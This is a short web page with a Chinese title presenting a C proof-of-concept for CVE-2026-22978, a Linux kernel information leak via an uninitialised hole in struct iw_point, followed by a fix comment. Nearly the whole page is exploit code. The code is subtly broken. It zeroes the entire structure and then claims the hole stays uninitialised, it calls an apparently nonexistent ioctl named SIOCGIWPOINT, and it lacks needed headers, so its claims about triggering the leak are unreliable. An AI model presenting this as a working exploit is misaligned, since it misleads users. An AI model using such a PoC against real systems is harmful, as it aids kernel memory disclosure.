CVE-2026-22978 Linux内核struct iw_point信息泄露漏洞

#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <linux/wireless.h> /* * CVE-2026-22978 PoC - Linux kernel struct iw_point information leak * This PoC demonstrates the potential information disclosure via * uninitialized struct iw_point on 64-bit architectures. * * Note: This is a conceptual PoC for educational purposes. * Actual exploitation may require specific kernel configuration. */ int main() { int sock; struct iwreq iwreq; // Create socket for wireless ioctl sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket failed"); return 1; } // Initialize only partial structure - demonstrating the issue memset(&iwreq, 0, sizeof(struct iwreq)); strncpy(iwreq.ifr_name, "wlan0", IFNAMSIZ - 1); // Set up iw_point - NOT fully zeroed (simulating vulnerable code) // In vulnerable kernel, struct iw_point has a 32-bit hole iwreq.u.data.pointer = NULL; iwreq.u.data.length = 0; iwreq.u.data.flags = 0; // The 32-bit hole between pointer and length/flags remains uninitialized // Trigger the ioctl that could leak kernel data // SIOCGIWPOINT is an example - actual trigger depends on driver if (ioctl(sock, SIOCGIWPOINT, &iwreq) == 0) { printf("ioctl call successful\n"); // If kernel doesn't zero the structure, sensitive data may be leaked } close(sock); return 0; } // Fix: Kernel code should zero the structure before use: // memset(&iwreq, 0, sizeof(struct iwreq)); // or in kernel space: // struct iw_point point = {0};